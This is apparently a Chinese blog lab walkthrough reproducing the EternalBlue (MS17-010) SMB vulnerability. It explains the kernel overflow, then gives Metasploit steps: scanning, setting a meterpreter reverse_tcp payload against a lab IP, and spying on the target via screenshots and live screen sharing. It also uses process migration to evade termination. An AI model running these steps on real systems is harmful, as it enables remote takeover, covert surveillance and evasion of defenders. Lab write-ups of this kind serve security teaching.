CVE-2017-0143windows远程溢出(MS17-010永恒之蓝)漏洞复现
0x00漏洞介绍
永恒之蓝是指2017年4月14日晚,黑客团体Shadow Brokers(影子经纪人)公布一大批网络攻击工具,其中包含“永恒之蓝”工具,“永恒之蓝”利用Windows系统的SMB漏洞可以获取系统最高权限。5月12日,不法分子通过改造“永恒之蓝”制作了wannacry勒索病毒,英国、俄罗斯、整个欧洲以及中国国内多个高校校内网、大型企业内网和政府机构专网中招,被勒索支付高额赎金才能解密恢复文件。(高级的永恒之蓝,没有蓝屏,只是有些时候电脑卡的时候会出现。)属于windows系统级别的远程溢出漏洞。危害性极大。
0x01漏洞原理简述
MS17-010漏洞出现在Windows SMB v1中的内核态函数srv!SrvOs2FeaListToNt在处理FEA(File Extended Attributes)转换时,在大非分页池(Large Non-Paged Kernel Pool)上存在缓冲区溢出。
函数srv!SrvOs2FeaListToNt在将FEA list转换成NTFEA(Windows NT FEA) list前会调用srv!SrvOs2FeaListSizeToNt去计算转换后的FEA lsit的大小,因计算大小错误,而导致缓冲区溢出。
0x02漏洞复现
1、漏洞检测:渗透测试的本质就是信息收集,当然第一步要进行漏洞探测。方法十分多,这里可以使用MSF中自带的模块来检测。kali启动msf并且search ms17_010。注意有些没有更新的MSF中会有5个选项,这5个都不怎么好用,建议更新至MSF6。图中画红框的,Rank代表好不好使的程度,最高是excellent,但是尽信书不如无书,可能最高的都不如最差的;后面的check字段是作者有无试过这个payload,他试过就是yes,没试过就是no,不代表所有人。

2、这里use 3,选择漏洞探测模块,随后输入options或者show options来查看对应的配置项进行配置。run之后可以看到检测出了永恒之蓝漏洞。

3、这里use 0,SMB445 eternalblue永恒之蓝漏洞,然后输入set payload windows/x64/meterpreter/reverse_tcp,这里因为实验环境中,kali与靶机网络是互通的,所以正反向的payload都可以使用。

字段含义
windows操作系统,可以为linux、windows,这里用windows
x64表示版本,64位就是x64,不写这一项默认就是32
meterpreter 表示shell类型,有meterpreter、shell、powershell、vncinject等,
meterpreter和powershell是重点
reverse_tcp中的协议类型,一般来说tcp就可以,其他其实也行,但是tcp最好用
4、show options或者options可以看到这里有个rhosts为空白,没有填写成目标的IP

5、设置一下目标IP,set rhosts 192.168.23.77,然后run,或者exploit -j -z后台执行

6、随后进行更近一步的信息收集
getuid 查看当前用户的权限,一般都是system,因为永恒之蓝是系统漏洞,打成功后就是个system权限
pwd 查看当前靶机的路径
ipconfig 查看IP信息
sysinfo 查看系统信息
ps 查看靶机的进程

screenshot 截图,截图前可以使用lpwd、lcd /home/dev1x/Desktop来切换到本机的桌面上,然后开始截图

screenshare 这个会生成一个直播流,也就是屏幕共享,我们kali本机会打开浏览器,能看到靶机的屏幕,他那里没有任何的异常反映,实时反映。如果网好的话延迟基本不到1秒。

7、如果windows2008靶机发现不对劲,将我们的进程杀掉,可以看到msf也就无效了。所以MSF是一个非常依赖进程的软件,他的shellcode是在对方电脑的内存环境中的。


可以看到MSF这里已经死掉了

8、为了提高隐蔽性、防止被人杀掉,可以使用migrate命令来将我们的进程移动到一些系统启动就有的进程,例如lsass.exe、explorer.exe、svchost.exe、winlogin.exe
再次攻击一次,然后通过shell命令,使用tasklist来打开端口查看相应的进程,在这里为了方便我就用windows2008来查看端口与进程了。通过netstat -ano可以看到,4444端口对应的是PID=1044

通过tasklist可以看到,1044对应的是spoolsv.exe

9、现在在meterpreter中输入migrate 416,可以看到,已经不存在这个PID=1044的进程了

再输入netstat -ano来查看,还是能够看到4444,是因为我们msf链接的时候肯定是需要端口的,这里显示的仍然是1044。
最可怕的是,连杀都杀不掉!
所以migrate这个命令,就是用来隐藏进程的,同时这个已经建立连接的PID算是作废了,根本杀不掉

当我断开msf,输入exit时,肯定端口就不见了

10、多说一句,正向链接也是同理,很简单的道理,payload选择不一样罢了,选择payload/windows/x64/meterpreter/bind_tcp即可
0x03漏洞总结
要说网络安全的元年,大家可能不约而同地说是2017年,毕竟2017年爆发了著名的“永恒之蓝”以及勒索病毒,大家才开始逐渐认识到网络安全了。同时在2017年6月1日颁布的网络安全法更是说明网络安全在我们日常生活以及工作中属于不可或缺的一部分了。


浙公网安备 33010602011771号